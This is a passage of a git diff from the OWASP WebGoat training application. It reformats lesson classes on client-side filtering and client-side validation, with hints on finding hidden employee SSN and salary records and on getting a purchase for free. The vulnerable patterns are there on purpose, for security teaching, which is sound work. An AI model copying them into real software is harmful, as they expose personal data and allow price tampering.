+ { + // System.out.println("Couldn't write " + message + " to " + s); + e.printStackTrace(); + } + } + + protected Element buildCart(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); + tr.addElement(new TH().addElement("Price:").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity:").setWidth("3%")); + tr.addElement(new TH().addElement("Total").setWidth("7%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("Sympathy Bouquet")); + tr.addElement(new TD().addElement("59.99").setAlign("right")); + tr.addElement(new TD().addElement(" 1 ").setAlign("right")); + tr.addElement(new TD().addElement("59.99")); + t.addElement(tr); + + ec.addElement(t); + + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + ec.addElement(new BR()); + tr = new TR(); + tr.addElement(new TD().addElement("The total charged to your credit card:")); + tr.addElement(new TD().addElement("59.99")); + t.addElement(tr); + + ec.addElement(t); + + return (ec); + } + + public boolean canHaveClues() + { + return false; + } + + /** + * Gets the cookie attribute of the CookieScreen object + * + * @param s + * Description of the Parameter + * @return The cookie value + */ + protected String getCookie(WebSession s) + { + Cookie[] cookies = s.getRequest().getCookies(); + + for (int i = 0; i < cookies.length; i++) + { + if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); } + } + + return (null); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java b/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java index 267fd03cc..cd6f1f7c1 100644 --- a/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java +++ b/src/main/java/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java @@ -32,421 +32,421 @@ import org.owasp.webgoat.session.WebSession; public class ClientSideFiltering extends SequentialLessonAdapter { - private final static String ANSWER = "answer"; + private final static String ANSWER = "answer"; - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element createMainContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element createMainContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { + try + { - ec.addElement(new Script().setSrc("lessonJS/clientSideFiltering.js")); + ec.addElement(new Script().setSrc("lessonJS/clientSideFiltering.js")); - Input input = new Input(Input.HIDDEN, "userID", 102); + Input input = new Input(Input.HIDDEN, "userID", 102); - input.setID("userID"); + input.setID("userID"); - ec.addElement(input); + ec.addElement(input); - style sty = new style(); - sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}" - + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" - + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" - + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" - + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}"); + style sty = new style(); + sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}" + + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" + + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" + + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" + + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}"); - ec.addElement(sty); + ec.addElement(sty); - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); + Div wrapperDiv = new Div(); + wrapperDiv.setID("lesson_wrapper"); - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); + Div headerDiv = new Div(); + headerDiv.setID("lesson_header"); - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); + Div workspaceDiv = new Div(); + workspaceDiv.setClass("lesson_workspace"); - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); + wrapperDiv.addElement(headerDiv); + wrapperDiv.addElement(workspaceDiv); - ec.addElement(wrapperDiv); + ec.addElement(wrapperDiv); - workspaceDiv.addElement(new BR()); - workspaceDiv.addElement(new BR()); + workspaceDiv.addElement(new BR()); + workspaceDiv.addElement(new BR()); - workspaceDiv.addElement(new P().addElement("     Select user:")); + workspaceDiv.addElement(new P().addElement("     Select user:")); - workspaceDiv.addElement(createDropDown()); + workspaceDiv.addElement(createDropDown()); - workspaceDiv.addElement(new P()); + workspaceDiv.addElement(new P()); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - t.setID("hiddenEmployeeRecords"); - t.setStyle("display: none"); + t.setID("hiddenEmployeeRecords"); + t.setStyle("display: none"); - workspaceDiv.addElement(t); + workspaceDiv.addElement(t); - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - TR tr = new TR(); - tr.addElement(new TD().addElement("UserID")); - tr.addElement(new TD().addElement("First Name")); - tr.addElement(new TD().addElement("Last Name")); - tr.addElement(new TD().addElement("SSN")); - tr.addElement(new TD().addElement("Salary")); - t.addElement(tr); - tr = new TR(); - tr.setID("employeeRecord"); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TD().addElement("UserID")); + tr.addElement(new TD().addElement("First Name")); + tr.addElement(new TD().addElement("Last Name")); + tr.addElement(new TD().addElement("SSN")); + tr.addElement(new TD().addElement("Salary")); + t.addElement(tr); + tr = new TR(); + tr.setID("employeeRecord"); + t.addElement(tr); - workspaceDiv.addElement(t); + workspaceDiv.addElement(t); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - /** - * Gets the category attribute of the RoleBasedAccessControl object - * - * @return The category value - */ + /** + * Gets the category attribute of the RoleBasedAccessControl object + * + * @return The category value + */ - protected ElementContainer doStage1(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected ElementContainer doStage1(WebSession s) + { + ElementContainer ec = new ElementContainer(); - StringBuffer answerString = null; - int answer = 0; + StringBuffer answerString = null; + int answer = 0; - try - { - answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, "")); - answer = Integer.parseInt(answerString.toString()); - } catch (NumberFormatException e) - { + try + { + answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, "")); + answer = Integer.parseInt(answerString.toString()); + } catch (NumberFormatException e) + { - // e.printStackTrace(); - } + // e.printStackTrace(); + } - if (answer == 450000) - { + if (answer == 450000) + { - getLessonTracker(s).setStage(2); - s.setMessage("Stage 1 completed."); + getLessonTracker(s).setStage(2); + s.setMessage("Stage 1 completed."); - // Redirect user to Stage2 content. - ec.addElement(doStage2(s)); - } - else - { - ec.addElement(stage1Content(s)); - } + // Redirect user to Stage2 content. + ec.addElement(doStage2(s)); + } + else + { + ec.addElement(stage1Content(s)); + } - return ec; + return ec; - } + } - protected Element doStage2(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element doStage2(WebSession s) + { + ElementContainer ec = new ElementContainer(); - /** - * They pass iff: - * - * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" - */ - String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); - String content = getFileContent(file); + /** + * They pass iff: + * + * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" + */ + String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); + String content = getFileContent(file); - if (content.indexOf("[Managers/Manager/text()") != -1) - { - makeSuccess(s); - ec.addElement(stage2Content(s)); - } - else - { - ec.addElement(stage2Content(s)); - } + if (content.indexOf("[Managers/Manager/text()") != -1) + { + makeSuccess(s); + ec.addElement(stage2Content(s)); + } + else + { + ec.addElement(stage2Content(s)); + } - return ec; - } + return ec; + } - protected ElementContainer stage1Content(WebSession s) - { - ElementContainer ec = new ElementContainer(); - try - { + protected ElementContainer stage1Content(WebSession s) + { + ElementContainer ec = new ElementContainer(); + try + { - ec.addElement(createMainContent(s)); + ec.addElement(createMainContent(s)); - Table t1 = new Table().setCellSpacing(0).setCellPadding(2); + Table t1 = new Table().setCellSpacing(0).setCellPadding(2); - if (s.isColor()) - { - t1.setBorder(1); - } + if (s.isColor()) + { + t1.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? ")); - tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); - Element b = ECSFactory.makeButton("Submit Answer"); - tr.addElement(new TD(b).setAlign("LEFT")); - t1.addElement(tr); + TR tr = new TR(); + tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? ")); + tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); + Element b = ECSFactory.makeButton("Submit Answer"); + tr.addElement(new TD(b).setAlign("LEFT")); + t1.addElement(tr); - ec.addElement(t1); + ec.addElement(t1); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return ec; - } + return ec; + } - protected ElementContainer stage2Content(WebSession s) - { - ElementContainer ec = new ElementContainer(); - try - { + protected ElementContainer stage2Content(WebSession s) + { + ElementContainer ec = new ElementContainer(); + try + { - ec.addElement(createMainContent(s)); + ec.addElement(createMainContent(s)); - ec.addElement(new BR()); - ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); - Table t1 = new Table().setCellSpacing(0).setCellPadding(2); + Table t1 = new Table().setCellSpacing(0).setCellPadding(2); - if (s.isColor()) - { - t1.setBorder(1); - } + if (s.isColor()) + { + t1.setBorder(1); + } - TR tr = new TR(); - /* - * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have - * completed the lesson.")); - */ - Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson."); - tr.addElement(new TD(b).setAlign("CENTER")); - t1.addElement(tr); + TR tr = new TR(); + /* + * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have + * completed the lesson.")); + */ + Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson."); + tr.addElement(new TD(b).setAlign("CENTER")); + t1.addElement(tr); - ec.addElement(t1); + ec.addElement(t1); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return ec; - } + return ec; + } - protected Select createDropDown() - { - Select select = new Select("UserSelect"); + protected Select createDropDown() + { + Select select = new Select("UserSelect"); - select.setID("UserSelect"); + select.setID("UserSelect"); - org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee"); + org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge"); + option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge"); + option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker"); + option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat"); + option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse"); + option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi"); + option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre"); + option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston"); + option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston"); - select.addElement(option); + select.addElement(option); - option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal"); + option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal"); - select.addElement(option); + select.addElement(option); - select.setOnChange("selectUser()"); + select.setOnChange("selectUser()"); - select.setOnFocus("fetchUserData()"); + select.setOnFocus("fetchUserData()"); - return select; + return select; - } + } - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); - hints - .add("Stage 1: The information displayed when an employee is choosen from the drop down menu is stored on the client side."); + hints + .add("Stage 1: The information displayed when an employee is choosen from the drop down menu is stored on the client side."); - hints.add("Stage 1: Use Firebug to find where the information is stored on the client side."); + hints.add("Stage 1: Use Firebug to find where the information is stored on the client side."); - hints - .add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); + hints + .add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); - hints.add("Stage 1: Look in the last row of the hidden table."); + hints.add("Stage 1: Look in the last row of the hidden table."); - hints - .add("Stage 1: You can access the server directly here " - + "to see what results are being returned"); + hints + .add("Stage 1: You can access the server directly here " + + "to see what results are being returned"); - hints.add("Stage 2: The server uses an XPath query agasinst an XML database."); + hints.add("Stage 2: The server uses an XPath query agasinst an XML database."); - hints.add("Stage 2: The query currently returns all of the contents of the database."); + hints.add("Stage 2: The query currently returns all of the contents of the database."); - hints - .add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102"); + hints + .add("Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102"); - hints.add("Stage 2: Try using a filter operator."); + hints.add("Stage 2: Try using a filter operator."); - hints.add("Stage 2: Your filter operator should look something like: [Managers/Manager/text()="); + hints.add("Stage 2: Your filter operator should look something like: [Managers/Manager/text()="); - return hints; + return hints; - } + } - public String getInstructions(WebSession s) - { - String instructions = ""; + public String getInstructions(WebSession s) + { + String instructions = ""; - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " - + "You have access to everyone in the company's information, except the CEO, " - + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." - + " For this exercise, " - + "examine the contents of the page to see what extra information you can find."; - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " - + "results that Moe Stooge is allowed to see."; - } - return (instructions); - } + if (getLessonTracker(s).getStage() == 1) + { + instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " + + "You have access to everyone in the company's information, except the CEO, " + + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." + + " For this exercise, " + + "examine the contents of the page to see what extra information you can find."; + } + else if (getLessonTracker(s).getStage() == 2) + { + instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " + + "results that Moe Stooge is allowed to see."; + } + return (instructions); + } - private final static Integer DEFAULT_RANKING = new Integer(10); + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the resources attribute of the RoleBasedAccessControl object - * - * @param rl - * Description of the Parameter - * @return The resources value - */ + /** + * Gets the resources attribute of the RoleBasedAccessControl object + * + * @param rl + * Description of the Parameter + * @return The resources value + */ - /** - * Gets the role attribute of the RoleBasedAccessControl object - * - * @param user - * Description of the Parameter - * @return The role value - */ - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - - public String getTitle() - { - return ("LAB: Client Side Filtering"); - } - - private String getFileContent(String content) - { - BufferedReader is = null; - StringBuffer sb = new StringBuffer(); - - try - { - is = new BufferedReader(new FileReader(new File(content))); - String s = null; - - while ((s = is.readLine()) != null) - { - sb.append(s); - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - if (is != null) - { - try - { - is.close(); - } catch (IOException ioe) - { - - } - } - } - - return sb.toString(); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + /** + * Gets the role attribute of the RoleBasedAccessControl object + * + * @param user + * Description of the Parameter + * @return The role value + */ + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + + public String getTitle() + { + return ("LAB: Client Side Filtering"); + } + + private String getFileContent(String content) + { + BufferedReader is = null; + StringBuffer sb = new StringBuffer(); + + try + { + is = new BufferedReader(new FileReader(new File(content))); + String s = null; + + while ((s = is.readLine()) != null) + { + sb.append(s); + } + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + if (is != null) + { + try + { + is.close(); + } catch (IOException ioe) + { + + } + } + } + + return sb.toString(); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ClientSideValidation.java b/src/main/java/org/owasp/webgoat/lessons/ClientSideValidation.java index 592e6709e..f6c7dcfbf 100644 --- a/src/main/java/org/owasp/webgoat/lessons/ClientSideValidation.java +++ b/src/main/java/org/owasp/webgoat/lessons/ClientSideValidation.java @@ -26,419 +26,419 @@ import org.owasp.webgoat.util.HtmlEncoder; public class ClientSideValidation extends SequentialLessonAdapter { - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - private boolean stage1FirstVisit = true; + private boolean stage1FirstVisit = true; - private boolean stage2FirstVisit = true; + private boolean stage2FirstVisit = true; - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element doStage1(WebSession s) - { - return evalStage1(s); - } + protected Element doStage1(WebSession s) + { + return evalStage1(s); + } - protected Element doStage2(WebSession s) - { - return stage2Content(s); - } + protected Element doStage2(WebSession s) + { + return stage2Content(s); + } - protected Element evalStage1(WebSession s) - { + protected Element evalStage1(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - String param1 = s.getParser().getRawParameter("field1", ""); + String param1 = s.getParser().getRawParameter("field1", ""); - // test success + // test success - if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver") - || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone") - || param1.equalsIgnoreCase("presstwo")) - { - getLessonTracker(s).setStage(2); - // s.resetHintCount(); - s.setMessage("Stage 1 completed."); + if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver") + || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone") + || param1.equalsIgnoreCase("presstwo")) + { + getLessonTracker(s).setStage(2); + // s.resetHintCount(); + s.setMessage("Stage 1 completed."); - // Redirect user to Stage2 content. - ec.addElement(doStage2(s)); + // Redirect user to Stage2 content. + ec.addElement(doStage2(s)); - } - else - { - if (!stage1FirstVisit) - { - s.setMessage("Keep looking for the coupon code."); - } - stage1FirstVisit = false; + } + else + { + if (!stage1FirstVisit) + { + s.setMessage("Keep looking for the coupon code."); + } + stage1FirstVisit = false; - ec.addElement(stage1Content(s)); - } + ec.addElement(stage1Content(s)); + } - return ec; + return ec; - } + } - protected Element stage1Content(WebSession s) - { + protected Element stage1Content(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { + try + { - ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); + ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); - ec.addElement(createQtyTable(s)); + ec.addElement(createQtyTable(s)); - ec.addElement(createTotalTable(s)); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("90%")); + ec.addElement(createTotalTable(s)); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } - protected Element stage2Content(WebSession s) - { + protected Element stage2Content(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { + try + { - ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); + ec.addElement(new Script().setSrc("lessonJS/clientSideValidation.js")); - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart"))); - ec.addElement(createQtyTable(s)); + ec.addElement(createQtyTable(s)); - ec.addElement(createTotalTable(s)); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("90%")); + ec.addElement(createTotalTable(s)); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); - // test success - DecimalFormat money = new DecimalFormat("$0.00"); + // test success + DecimalFormat money = new DecimalFormat("$0.00"); - String grandTotalString = s.getParser().getStringParameter("GRANDTOT", "0"); + String grandTotalString = s.getParser().getStringParameter("GRANDTOT", "0"); - float grandTotal = 1; + float grandTotal = 1; - try - { - grandTotal = money.parse(grandTotalString).floatValue(); - } catch (java.text.ParseException e) - { - try - { - grandTotal = Float.parseFloat(grandTotalString); - } catch (java.lang.NumberFormatException e1) - { - // eat exception, do not update grandTotal - } - } + try + { + grandTotal = money.parse(grandTotalString).floatValue(); + } catch (java.text.ParseException e) + { + try + { + grandTotal = Float.parseFloat(grandTotalString); + } catch (java.lang.NumberFormatException e1) + { + // eat exception, do not update grandTotal + } + } - if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) - { - makeSuccess(s); - } - else - { + if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) + { + makeSuccess(s); + } + else + { - if (!stage2FirstVisit) - { - s.setMessage("Your order isn't free yet."); - } - stage2FirstVisit = false; - } + if (!stage2FirstVisit) + { + s.setMessage("Your order isn't free yet."); + } + stage2FirstVisit = false; + } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } - protected ElementContainer createTotalTable(WebSession s) - { + protected ElementContainer createTotalTable(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - String param1 = s.getParser().getRawParameter("field1", ""); - String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); + String param1 = s.getParser().getRawParameter("field1", ""); + String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - ec.addElement(new BR()); + ec.addElement(new BR()); - TR tr = new TR(); - tr.addElement(new TD().addElement("Total before coupon is applied:")); + TR tr = new TR(); + tr.addElement(new TD().addElement("Total before coupon is applied:")); - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "SUBTOT", s.getParser() - .getStringParameter("SUBTOT", "$0.00")).setReadOnly(true) - .setStyle("border:0px;")).setAlign("right")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("Total to be charged to your credit card:")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "GRANDTOT", s.getParser() - .getStringParameter("GRANDTOT", "$0.00")).setReadOnly(true) - .setStyle("border:0px;")).setAlign("right")); - t.addElement(tr); - - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your credit card number:")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2))); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your coupon code:")); - - Input input = new Input(Input.TEXT, "field1", param1); - input.setOnKeyUp("isValidCoupon(field1.value)"); - tr.addElement(new TD().addElement(input)); - t.addElement(tr); - - Element b = ECSFactory.makeButton("Purchase"); - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); - t.addElement(tr); - ec.addElement(t); - - return ec; - - } - - protected int getTotalQty(WebSession s) - { - - int quantity = 0; - - quantity += s.getParser().getFloatParameter("QTY1", 0.0f); - quantity += s.getParser().getFloatParameter("QTY2", 0.0f); - quantity += s.getParser().getFloatParameter("QTY3", 0.0f); - quantity += s.getParser().getFloatParameter("QTY4", 0.0f); - - return quantity; - } - - protected ElementContainer createQtyTable(WebSession s) - { - - ElementContainer ec = new ElementContainer(); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("10%")); - tr.addElement(new TH().addElement("Total").setWidth("10%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1", - "$69.99")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); - - Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0")); - - input.setOnKeyUp("updateTotals();"); - input.setOnLoad("updateTotals();"); - input.setSize(10); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "SUBTOT", s.getParser() + .getStringParameter("SUBTOT", "$0.00")).setReadOnly(true) + .setStyle("border:0px;")).setAlign("right")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("Total to be charged to your credit card:")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "GRANDTOT", s.getParser() + .getStringParameter("GRANDTOT", "$0.00")).setReadOnly(true) + .setStyle("border:0px;")).setAlign("right")); + t.addElement(tr); + + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your credit card number:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2))); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your coupon code:")); + + Input input = new Input(Input.TEXT, "field1", param1); + input.setOnKeyUp("isValidCoupon(field1.value)"); + tr.addElement(new TD().addElement(input)); + t.addElement(tr); + + Element b = ECSFactory.makeButton("Purchase"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); + t.addElement(tr); + ec.addElement(t); + + return ec; + + } + + protected int getTotalQty(WebSession s) + { + + int quantity = 0; + + quantity += s.getParser().getFloatParameter("QTY1", 0.0f); + quantity += s.getParser().getFloatParameter("QTY2", 0.0f); + quantity += s.getParser().getFloatParameter("QTY3", 0.0f); + quantity += s.getParser().getFloatParameter("QTY4", 0.0f); + + return quantity; + } + + protected ElementContainer createQtyTable(WebSession s) + { + + ElementContainer ec = new ElementContainer(); + Table t = new 